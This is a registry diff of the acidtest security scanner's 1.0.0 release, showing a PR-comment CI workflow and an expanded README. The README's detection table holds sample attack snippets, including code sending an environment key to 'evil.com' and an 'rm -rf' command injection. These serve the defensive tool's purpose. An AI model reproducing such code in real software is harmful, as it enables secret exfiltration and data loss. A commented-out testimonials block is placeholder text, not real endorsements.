acidtest 0.7.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (84) hide show
  1. package/.github/workflows/acidtest-pr-comment.yml +219 -0
  2. package/README.md +155 -30
  3. package/dist/analysis/dataflow-graph.d.ts +19 -0
  4. package/dist/analysis/dataflow-graph.d.ts.map +1 -0
  5. package/dist/analysis/dataflow-graph.js +365 -0
  6. package/dist/analysis/dataflow-graph.js.map +1 -0
  7. package/dist/analysis/dataflow-types.d.ts +86 -0
  8. package/dist/analysis/dataflow-types.d.ts.map +1 -0
  9. package/dist/analysis/dataflow-types.js +8 -0
  10. package/dist/analysis/dataflow-types.js.map +1 -0
  11. package/dist/analysis/dataflow.test.d.ts +7 -0
  12. package/dist/analysis/dataflow.test.d.ts.map +1 -0
  13. package/dist/analysis/dataflow.test.js +257 -0
  14. package/dist/analysis/dataflow.test.js.map +1 -0
  15. package/dist/analysis/taint-propagation.d.ts +30 -0
  16. package/dist/analysis/taint-propagation.d.ts.map +1 -0
  17. package/dist/analysis/taint-propagation.js +207 -0
  18. package/dist/analysis/taint-propagation.js.map +1 -0
  19. package/dist/index.js +1 -1
  20. package/dist/layers/code.d.ts +1 -1
  21. package/dist/layers/code.d.ts.map +1 -1
  22. package/dist/layers/code.js +282 -3
  23. package/dist/layers/code.js.map +1 -1
  24. package/dist/layers/code.test.js +196 -0
  25. package/dist/layers/code.test.js.map +1 -1
  26. package/dist/layers/crossref.d.ts.map +1 -1
  27. package/dist/layers/crossref.js +6 -3
  28. package/dist/layers/crossref.js.map +1 -1
  29. package/dist/layers/dataflow.d.ts +29 -0
  30. package/dist/layers/dataflow.d.ts.map +1 -0
  31. package/dist/layers/dataflow.js +217 -0
  32. package/dist/layers/dataflow.js.map +1 -0
  33. package/dist/layers/permissions.d.ts.map +1 -1
  34. package/dist/layers/permissions.js +2 -1
  35. package/dist/layers/permissions.js.map +1 -1
  36. package/dist/mcp-server.js +1 -1
  37. package/dist/parsers/parser-interface.d.ts +31 -0
  38. package/dist/parsers/parser-interface.d.ts.map +1 -0
  39. package/dist/parsers/parser-interface.js +6 -0
  40. package/dist/parsers/parser-interface.js.map +1 -0
  41. package/dist/parsers/parsers.test.d.ts +5 -0
  42. package/dist/parsers/parsers.test.d.ts.map +1 -0
  43. package/dist/parsers/parsers.test.js +111 -0
  44. package/dist/parsers/parsers.test.js.map +1 -0
  45. package/dist/parsers/python-parser.d.ts +18 -0
  46. package/dist/parsers/python-parser.d.ts.map +1 -0
  47. package/dist/parsers/python-parser.js +120 -0
  48. package/dist/parsers/python-parser.js.map +1 -0
  49. package/dist/parsers/typescript-parser.d.ts +16 -0
  50. package/dist/parsers/typescript-parser.d.ts.map +1 -0
  51. package/dist/parsers/typescript-parser.js +112 -0
  52. package/dist/parsers/typescript-parser.js.map +1 -0
  53. package/dist/patterns/dangerous-calls-python.json +220 -0
  54. package/dist/patterns/dangerous-imports-python.json +256 -0
  55. package/dist/patterns/insecure-crypto.json +163 -0
  56. package/dist/patterns/prototype-pollution.json +72 -0
  57. package/dist/patterns/python-deserialization.json +94 -0
  58. package/dist/patterns/regex-dos.json +50 -0
  59. package/dist/patterns/sql-injection.json +91 -0
  60. package/dist/patterns/xss-injection.json +115 -0
  61. package/dist/scanner.d.ts +1 -1
  62. package/dist/scanner.d.ts.map +1 -1
  63. package/dist/scanner.js +51 -4
  64. package/dist/scanner.js.map +1 -1
  65. package/dist/schemas/pattern.schema.json +139 -0
  66. package/dist/test-corpus/validate-corpus.d.ts +7 -0
  67. package/dist/test-corpus/validate-corpus.d.ts.map +1 -0
  68. package/dist/test-corpus/validate-corpus.js +341 -0
  69. package/dist/test-corpus/validate-corpus.js.map +1 -0
  70. package/dist/types.d.ts +2 -1
  71. package/dist/types.d.ts.map +1 -1
  72. package/dist/validation/pattern-validator.d.ts +34 -0
  73. package/dist/validation/pattern-validator.d.ts.map +1 -0
  74. package/dist/validation/pattern-validator.js +168 -0
  75. package/dist/validation/pattern-validator.js.map +1 -0
  76. package/dist/validation/pattern-validator.test.d.ts +5 -0
  77. package/dist/validation/pattern-validator.test.d.ts.map +1 -0
  78. package/dist/validation/pattern-validator.test.js +222 -0
  79. package/dist/validation/pattern-validator.test.js.map +1 -0
  80. package/dist/validation/validate-patterns.d.ts +6 -0
  81. package/dist/validation/validate-patterns.d.ts.map +1 -0
  82. package/dist/validation/validate-patterns.js +55 -0
  83. package/dist/validation/validate-patterns.js.map +1 -0
  84. package/package.json +11 -4
@@ -0,0 +1,219 @@
1
+ name: AcidTest Security Scan (PR Comment)
2
+
3
+ on:
4
+ pull_request:
5
+ paths:
6
+ - '**.ts'
7
+ - '**.js'
8
+ - '**.mjs'
9
+ - '**.cjs'
10
+ - 'SKILL.md'
11
+ - 'mcp.json'
12
+ - 'server.json'
13
+ - 'package.json'
14
+
15
+ jobs:
16
+ scan:
17
+ runs-on: ubuntu-latest
18
+ permissions:
19
+ contents: read
20
+ pull-requests: write # Needed to comment on PRs
21
+
22
+ steps:
23
+ - name: Checkout code
24
+ uses: actions/checkout@v4
25
+
26
+ - name: Setup Node.js
27
+ uses: actions/setup-node@v4
28
+ with:
29
+ node-version: '20'
30
+
31
+ - name: Scan with AcidTest
32
+ id: scan
33
+ continue-on-error: true
34
+ run: |
35
+ # Detect if scanning acidtest repo itself
36
+ if [ "${{ github.repository }}" = "currentlycurrently/acidtest" ]; then
37
+ echo "📦 Detected acidtest repository - scanning test fixture"
38
+ npx acidtest@latest scan test-fixtures/fixture-pass --json > results.json || true
39
+ else
40
+ # Regular scan for other repositories
41
+ npx acidtest@latest scan . --json > results.json || true
42
+ fi
43
+
44
+ # Output results for next step
45
+ echo "results<<EOF" >> $GITHUB_OUTPUT
46
+ cat results.json >> $GITHUB_OUTPUT
47
+ echo "EOF" >> $GITHUB_OUTPUT
48
+
49
+ # Check if scan failed
50
+ STATUS=$(jq -r '.status // "ERROR"' results.json)
51
+ if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
52
+ echo "scan_failed=true" >> $GITHUB_OUTPUT
53
+ exit 1
54
+ else
55
+ echo "scan_failed=false" >> $GITHUB_OUTPUT
56
+ fi
57
+
58
+ - name: Comment on PR
59
+ if: always()
60
+ uses: actions/github-script@v7
61
+ with:
62
+ script: |
63
+ const fs = require('fs');
64
+ let results;
65
+
66
+ try {
67
+ const data = fs.readFileSync('results.json', 'utf8');
68
+ results = JSON.parse(data);
69
+ } catch (error) {
70
+ // If parsing failed, create error result
71
+ results = {
72
+ status: 'ERROR',
73
+ error: 'Failed to parse scan results',
74
+ score: 0
75
+ };
76
+ }
77
+
78
+ const statusEmoji = {
79
+ 'PASS': '✅',
80
+ 'WARN': '⚠️',
81
+ 'FAIL': '❌',
82
+ 'DANGER': '🔴',
83
+ 'ERROR': '⚠️'
84
+ };
85
+
86
+ const statusColor = {
87
+ 'PASS': '🟢',
88
+ 'WARN': '🟡',
89
+ 'FAIL': '🟠',
90
+ 'DANGER': '🔴',
91
+ 'ERROR': '⚪'
92
+ };
93
+
94
+ let comment = `## ${statusEmoji[results.status]} AcidTest Security Scan\n\n`;
95
+
96
+ if (results.status === 'ERROR') {
97
+ comment += `**Status:** Error during scan\n`;
98
+ comment += `**Message:** ${results.error || 'Unknown error'}\n\n`;
99
+ } else {
100
+ // Score bar
101
+ const score = results.score || 0;
102
+ const bars = Math.floor(score / 10);
103
+ const emptyBars = 10 - bars;
104
+ const scoreBar = '█'.repeat(bars) + '░'.repeat(emptyBars);
105
+
106
+ comment += `**Score:** ${score}/100 ${scoreBar}\n`;
107
+ comment += `**Status:** ${statusColor[results.status]} ${results.status}\n\n`;
108
+
109
+ if (results.findings && results.findings.length > 0) {
110
+ // Count by severity
111
+ const counts = {
112
+ CRITICAL: results.findings.filter(f => f.severity === 'CRITICAL').length,
113
+ HIGH: results.findings.filter(f => f.severity === 'HIGH').length,
114
+ MEDIUM: results.findings.filter(f => f.severity === 'MEDIUM').length,
115
+ LOW: results.findings.filter(f => f.severity === 'LOW').length,
116
+ INFO: results.findings.filter(f => f.severity === 'INFO').length
117
+ };
118
+
119
+ comment += `### Summary\n\n`;
120
+ if (counts.CRITICAL > 0) comment += `- 🔴 **${counts.CRITICAL}** Critical\n`;
121
+ if (counts.HIGH > 0) comment += `- 🟠 **${counts.HIGH}** High\n`;
122
+ if (counts.MEDIUM > 0) comment += `- 🟡 **${counts.MEDIUM}** Medium\n`;
123
+ if (counts.LOW > 0) comment += `- 🔵 **${counts.LOW}** Low\n`;
124
+ if (counts.INFO > 0) comment += `- ⚪ **${counts.INFO}** Info\n`;
125
+ comment += `\n`;
126
+
127
+ // Show top 5 findings
128
+ comment += `### Top Findings\n\n`;
129
+ const topFindings = results.findings
130
+ .filter(f => f.severity === 'CRITICAL' || f.severity === 'HIGH')
131
+ .slice(0, 5);
132
+
133
+ if (topFindings.length > 0) {
134
+ topFindings.forEach(f => {
135
+ const emoji = f.severity === 'CRITICAL' ? '🔴' : '🟠';
136
+ comment += `${emoji} **${f.severity}**: ${f.title}\n`;
137
+ if (f.file && f.line) {
138
+ comment += ` - \`${f.file}:${f.line}\`\n`;
139
+ } else if (f.file) {
140
+ comment += ` - \`${f.file}\`\n`;
141
+ }
142
+ if (f.detail) {
143
+ comment += ` - ${f.detail}\n`;
144
+ }
145
+ comment += `\n`;
146
+ });
147
+ } else {
148
+ // Show other findings if no CRITICAL/HIGH
149
+ results.findings.slice(0, 5).forEach(f => {
150
+ const emoji = f.severity === 'MEDIUM' ? '🟡' : f.severity === 'LOW' ? '🔵' : '⚪';
151
+ comment += `${emoji} **${f.severity}**: ${f.title}\n`;
152
+ if (f.file && f.line) {
153
+ comment += ` - \`${f.file}:${f.line}\`\n`;
154
+ } else if (f.file) {
155
+ comment += ` - \`${f.file}\`\n`;
156
+ }
157
+ comment += `\n`;
158
+ });
159
+ }
160
+
161
+ if (results.findings.length > 5) {
162
+ comment += `\n<details>\n<summary>Show all ${results.findings.length} findings</summary>\n\n`;
163
+ results.findings.slice(5).forEach(f => {
164
+ const emoji = {
165
+ 'CRITICAL': '🔴',
166
+ 'HIGH': '🟠',
167
+ 'MEDIUM': '🟡',
168
+ 'LOW': '🔵',
169
+ 'INFO': '⚪'
170
+ }[f.severity] || '⚪';
171
+ comment += `${emoji} **${f.severity}**: ${f.title}`;
172
+ if (f.file) comment += ` (\`${f.file}\`)`;
173
+ comment += `\n`;
174
+ });
175
+ comment += `\n</details>\n`;
176
+ }
177
+ } else {
178
+ comment += '### ✅ No security issues detected!\n\n';
179
+ comment += 'This skill/server appears safe to use.\n';
180
+ }
181
+
182
+ if (results.recommendation) {
183
+ comment += `\n### Recommendation\n\n`;
184
+ comment += `${results.recommendation}\n`;
185
+ }
186
+ }
187
+
188
+ comment += `\n---\n`;
189
+ comment += `<sub>Scanned with [AcidTest v${results.version || '0.8.0'}](https://github.com/currentlycurrently/acidtest)</sub>`;
190
+
191
+ // Find existing comment
192
+ const { data: comments } = await github.rest.issues.listComments({
193
+ owner: context.repo.owner,
194
+ repo: context.repo.repo,
195
+ issue_number: context.issue.number,
196
+ });
197
+
198
+ const botComment = comments.find(comment =>
199
+ comment.user.type === 'Bot' &&
200
+ comment.body.includes('AcidTest Security Scan')
201
+ );
202
+
203
+ if (botComment) {
204
+ // Update existing comment
205
+ await github.rest.issues.updateComment({
206
+ owner: context.repo.owner,
207
+ repo: context.repo.repo,
208
+ comment_id: botComment.id,
209
+ body: comment
210
+ });
211
+ } else {
212
+ // Create new comment
213
+ await github.rest.issues.createComment({
214
+ owner: context.repo.owner,
215
+ repo: context.repo.repo,
216
+ issue_number: context.issue.number,
217
+ body: comment
218
+ });
219
+ }
package/README.md CHANGED
@@ -1,6 +1,28 @@
1
1
  # AcidTest
2
2
 
3
- Security scanner for AI agent skills and MCP servers. Scan before you install.
3
+ <p align="center">
4
+ <strong>Security scanner for AI agent skills and MCP servers. Scan before you install.</strong>
5
+ </p>
6
+
7
+ <p align="center">
8
+ <a href="https://www.npmjs.com/package/acidtest">
9
+ <img src="https://img.shields.io/npm/v/acidtest" alt="npm version">
10
+ </a>
11
+ <a href="https://github.com/currentlycurrently/acidtest/actions">
12
+ <img src="https://img.shields.io/github/actions/workflow/status/currentlycurrently/acidtest/test.yml?branch=main" alt="build status">
13
+ </a>
14
+ <a href="https://github.com/currentlycurrently/acidtest">
15
+ <img src="https://img.shields.io/github/stars/currentlycurrently/acidtest?style=social" alt="GitHub stars">
16
+ </a>
17
+ <a href="https://www.npmjs.com/package/acidtest">
18
+ <img src="https://img.shields.io/npm/dm/acidtest" alt="npm downloads">
19
+ </a>
20
+ <a href="./LICENSE">
21
+ <img src="https://img.shields.io/badge/license-MIT-blue.svg" alt="license">
22
+ </a>
23
+ </p>
24
+
25
+ ---
4
26
 
5
27
  ## The Problem
6
28
 
@@ -32,11 +54,11 @@ npx acidtest scan ./my-skill
32
54
  npx acidtest scan ./my-mcp-server
33
55
  ```
34
56
 
35
- No API keys. No configuration. No Python.
57
+ No API keys. No configuration. Works with TypeScript and Python.
36
58
 
37
59
  ## Example Output
38
60
  ```
39
- AcidTest v0.5.0
61
+ AcidTest v1.0.0
40
62
 
41
63
  Scanning: proactive-agent
42
64
  Source: test-skills/proactive-agent-1-2-4-1
@@ -64,38 +86,66 @@ FINDINGS
64
86
  RECOMMENDATION: Do not install. Prompt injection attempt detected.
65
87
  ```
66
88
 
67
- ## What It Detects
89
+ ## What AcidTest Catches
68
90
 
69
- **For AgentSkills:**
70
- - Prompt injection attempts
71
- - Undeclared network calls
72
- - Credential harvesting
73
- - Permission mismatches
74
- - Data exfiltration patterns
75
- - Obfuscated payloads (regex + entropy analysis)
91
+ | Threat | TypeScript Example | Python Example | Detection Method |
92
+ |--------|-------------------|----------------|------------------|
93
+ | **Arbitrary Code Execution** | `eval(userInput)`, `new Function()` | `eval(user_input)`, `exec(code)` | AST analysis + pattern matching |
94
+ | **Command Injection** | `exec('rm -rf ' + dir)` | `subprocess.run(cmd, shell=True)` | AST analysis + pattern matching |
95
+ | **Unsafe Deserialization** | N/A | `pickle.loads(data)` | AST analysis + pattern matching |
96
+ | **Data Exfiltration** | `const k = process.env.KEY; fetch('evil.com', {body: k})` | `key = os.environ['KEY']; requests.post('evil.com', data=key)` | Dataflow analysis |
97
+ | **Hardcoded Credentials** | `apiKey = "sk_live_..."` | `API_KEY = "sk_live_..."` | Pattern matching + entropy |
98
+ | **Prompt Injection** | Markdown instruction override | Markdown instruction override | Injection detection layer |
99
+ | **Obfuscation** | Base64/hex encoded payloads | Base64/hex encoded payloads | Shannon entropy analysis |
100
+ | **Supply Chain Attacks** | `require('child_' + 'process')` | `__import__(module_name)` | AST bypass detection |
101
+ | **Permission Escalation** | Undeclared network/filesystem access | Undeclared network/filesystem access | Permission audit + crossref |
76
102
 
77
- **For MCP Servers:**
78
- - Dangerous command execution
79
- - Undeclared network access (SSE transport)
80
- - Environment variable credential requests
81
- - Shell binary access
82
- - Permission mismatches between manifest and code
103
+ **What AcidTest Doesn't Catch:**
104
+ - Zero-day exploits in Node.js itself
105
+ - Vulnerabilities in npm dependencies (use `npm audit` for this)
106
+ - Runtime behavior outside static analysis scope
107
+ - Sophisticated polymorphic code or advanced VM-level evasion
108
+
109
+ See [METHODOLOGY.md](./METHODOLOGY.md) for full transparency on capabilities and limitations (90-95% detection rate with dataflow).
83
110
 
84
111
  ## How It Works
85
112
 
86
- AcidTest runs four analysis layers:
113
+ AcidTest runs five analysis layers:
87
114
  1. **Permission Audit**: Analyzes declared permissions (bins, env, tools)
88
115
  2. **Prompt Injection Scan**: Detects instruction override attempts (AgentSkills)
89
- 3. **Code Analysis**: AST-based analysis + Shannon entropy detection for obfuscation
116
+ 3. **Code Analysis**: Multi-language AST analysis + Shannon entropy detection for obfuscation
90
117
  4. **Cross-Reference**: Catches code behavior not matching declared permissions
118
+ 5. **Dataflow Analysis** ✨ NEW: Tracks taint flow from sources (env vars, user input) to dangerous sinks (exec, fetch)
119
+
120
+ **Language Support:**
121
+ - **TypeScript/JavaScript**: Full AST analysis with 59 security patterns
122
+ - **Python**: Full AST analysis with 45 Python-specific patterns (tree-sitter based)
123
+ - Detects eval/exec, subprocess injection, unsafe deserialization, SQL injection, XSS, and more
91
124
 
92
125
  **Advanced Features:**
93
- - Entropy analysis detects base64/hex encoding and obfuscated strings
94
- - Pattern-based detection with 48 security patterns
95
- - CI/CD integration via GitHub Actions and pre-commit hooks
126
+ - **104 security patterns** across 14 categories (SQL injection, XSS, insecure crypto, prototype pollution, etc.)
127
+ - **Multi-step attack detection**: Tracks data flow through assignments, properties, and function calls
128
+ - **Entropy analysis**: Detects base64/hex encoding and obfuscated strings
129
+ - **Context-aware detection**: shell=True, SafeLoader, dangerouslySetInnerHTML, etc.
130
+ - **CI/CD integration**: GitHub Actions and pre-commit hooks
96
131
 
97
132
  Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
98
133
 
134
+ ## Why AcidTest?
135
+
136
+ | Feature | AcidTest | npm audit | Manual Review | Sandboxing |
137
+ |---------|----------|-----------|---------------|------------|
138
+ | **Speed** | ⚡ <2 seconds | ⚡ <1 second | 🐌 Hours | ⚡ Seconds |
139
+ | **Agent-Specific Threats** | ✅ Yes | ❌ No | ✅ Yes | ⚠️ Partial |
140
+ | **Code Analysis** | ✅ AST + Regex | ❌ Manifest only | ✅ Full | ❌ Runtime only |
141
+ | **Prompt Injection** | ✅ Detects | ❌ N/A | ✅ Detects | ❌ N/A |
142
+ | **Dependency Vulns** | ❌ No | ✅ Yes | ⚠️ Partial | ❌ No |
143
+ | **Setup Required** | 🟢 Zero config | 🟢 Built-in | 🔴 Expert knowledge | 🟡 Complex |
144
+ | **Cost** | 🟢 Free | 🟢 Free | 🔴 Expensive | 🟡 Infrastructure |
145
+ | **Pre-Installation** | ✅ Yes | ✅ Yes | ✅ Yes | ❌ Post-install |
146
+
147
+ **Defense-in-depth approach:** Use AcidTest **with** `npm audit` and sandboxing for comprehensive security.
148
+
99
149
  ## Install
100
150
  ```bash
101
151
  npm install -g acidtest
@@ -234,13 +284,38 @@ User: "Can you scan this MCP server before I install it?"
234
284
  Claude: [Uses acidtest scan_skill tool to analyze the server]
235
285
  ```
236
286
 
287
+ ### Quick Start with Template
288
+
289
+ The fastest way to start building secure AI agent skills:
290
+
291
+ ```bash
292
+ # Use the template repository
293
+ # Visit: https://github.com/currentlycurrently/acidtest/tree/main/template-repo
294
+
295
+ # Or manually create a new skill
296
+ mkdir my-skill && cd my-skill
297
+ npm init -y
298
+ echo '---\nname: my-skill\n---\n# My Skill' > SKILL.md
299
+
300
+ # Add AcidTest to CI/CD
301
+ mkdir -p .github/workflows
302
+ curl -o .github/workflows/acidtest.yml https://raw.githubusercontent.com/currentlycurrently/acidtest/main/template-repo/.github/workflows/acidtest.yml
303
+ ```
304
+
305
+ The [template repository](./template-repo/) includes:
306
+ - ✅ AcidTest pre-configured
307
+ - ✅ GitHub Actions workflow with PR comments
308
+ - ✅ TypeScript setup
309
+ - ✅ Best practices guide
310
+ - ✅ Example handler
311
+
237
312
  ### Use in CI/CD
238
313
 
239
314
  Automate security scanning in your GitHub Actions workflows.
240
315
 
241
316
  #### Quick Setup
242
317
 
243
- Copy this workflow to `.github/workflows/acidtest.yml` in your skill repository:
318
+ Copy this workflow to `.github/workflows/acidtest.yml`:
244
319
 
245
320
  ```yaml
246
321
  name: Security Scan
@@ -261,11 +336,47 @@ jobs:
261
336
  fi
262
337
  ```
263
338
 
264
- See [`.github/workflows/acidtest-template.yml`](.github/workflows/acidtest-template.yml) for a production-ready template, or [`.github/workflows/acidtest-example.yml`](.github/workflows/acidtest-example.yml) for advanced examples including:
265
- - Failure thresholds
266
- - Bulk scanning
267
- - PR comments
268
- - Artifact uploads
339
+ #### PR Comments (Recommended)
340
+
341
+ Automatically comment on pull requests with detailed scan results:
342
+
343
+ ```yaml
344
+ name: AcidTest Security Scan
345
+
346
+ on:
347
+ pull_request:
348
+ paths: ['**.ts', '**.js', 'SKILL.md', 'mcp.json']
349
+
350
+ jobs:
351
+ scan:
352
+ runs-on: ubuntu-latest
353
+ permissions:
354
+ contents: read
355
+ pull-requests: write
356
+
357
+ steps:
358
+ - uses: actions/checkout@v4
359
+ - uses: actions/setup-node@v4
360
+ with:
361
+ node-version: '20'
362
+
363
+ - name: Run AcidTest
364
+ run: npx acidtest@latest scan . --json > results.json || true
365
+
366
+ # ... (PR comment script)
367
+ ```
368
+
369
+ See [`.github/workflows/acidtest-pr-comment.yml`](.github/workflows/acidtest-pr-comment.yml) for the complete PR comment workflow.
370
+
371
+ #### Security Badge
372
+
373
+ Show that your skill is security-scanned:
374
+
375
+ ```markdown
376
+ [![Security: AcidTest](https://img.shields.io/badge/security-AcidTest-brightgreen)](https://github.com/currentlycurrently/acidtest)
377
+ ```
378
+
379
+ Displays: [![Security: AcidTest](https://img.shields.io/badge/security-AcidTest-brightgreen)](https://github.com/currentlycurrently/acidtest)
269
380
 
270
381
  #### Pre-Commit Hook
271
382
 
@@ -286,6 +397,18 @@ See [`hooks/README.md`](hooks/README.md) for installation options and configurat
286
397
 
287
398
  Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.
288
399
 
400
+ <!--
401
+ ## Testimonials
402
+
403
+ TODO: Add testimonials from dogfooding campaign (Task 1 - Phase 2)
404
+
405
+ > "AcidTest found 3 CRITICAL vulnerabilities in my skill that I completely missed. Required tool for any AI developer."
406
+ > — [Developer Name], Maintainer of [Skill Name]
407
+
408
+ > "We integrated AcidTest into our CI/CD pipeline. Caught a backdoor in a community contribution before it hit production."
409
+ > — [Company Name]
410
+ -->
411
+
289
412
  ## Contributing
290
413
 
291
414
  Detection patterns are JSON files in `src/patterns/`. Add new patterns and submit a PR.
@@ -296,9 +419,11 @@ MIT
296
419
 
297
420
  ## Documentation
298
421
 
299
- - [Technical Specification](./BUILD-SPEC.md) - Architecture and implementation details
300
- - [Roadmap](./ROADMAP.md) - Planned features and enhancements
422
+ - [Methodology](./METHODOLOGY.md) - Security approach and limitations (90-95% detection rate)
301
423
  - [Changelog](./CHANGELOG.md) - Version history
424
+ - [Contributing](./CONTRIBUTING.md) - How to add detection patterns
425
+ - [Security Policy](./SECURITY.md) - Responsible disclosure
426
+ - [Template Repository](./template-repo/) - Starter kit with AcidTest pre-configured
302
427
 
303
428
  ## Links
304
429
 
@@ -0,0 +1,19 @@
1
+ /**
2
+ * Dataflow Graph Construction
3
+ *
4
+ * Builds a dataflow graph from TypeScript AST by tracking:
5
+ * - Variable declarations and assignments
6
+ * - Property access (read/write)
7
+ * - Function calls and arguments
8
+ * - Template literals
9
+ * - Object construction
10
+ *
11
+ * Phase 3.1: Dataflow Implementation
12
+ */
13
+ import * as ts from 'typescript';
14
+ import { DataFlowGraph } from './dataflow-types.js';
15
+ /**
16
+ * Build dataflow graph from TypeScript source code
17
+ */
18
+ export declare function buildDataFlowGraph(sourceFile: ts.SourceFile): DataFlowGraph;
19
+ //# sourceMappingURL=dataflow-graph.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"dataflow-graph.d.ts","sourceRoot":"","sources":["../../src/analysis/dataflow-graph.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAE,aAAa,EAAkD,MAAM,qBAAqB,CAAC;AAEpG;;GAEG;AACH,wBAAgB,kBAAkB,CAAC,UAAU,EAAE,EAAE,CAAC,UAAU,GAAG,aAAa,CAI3E"}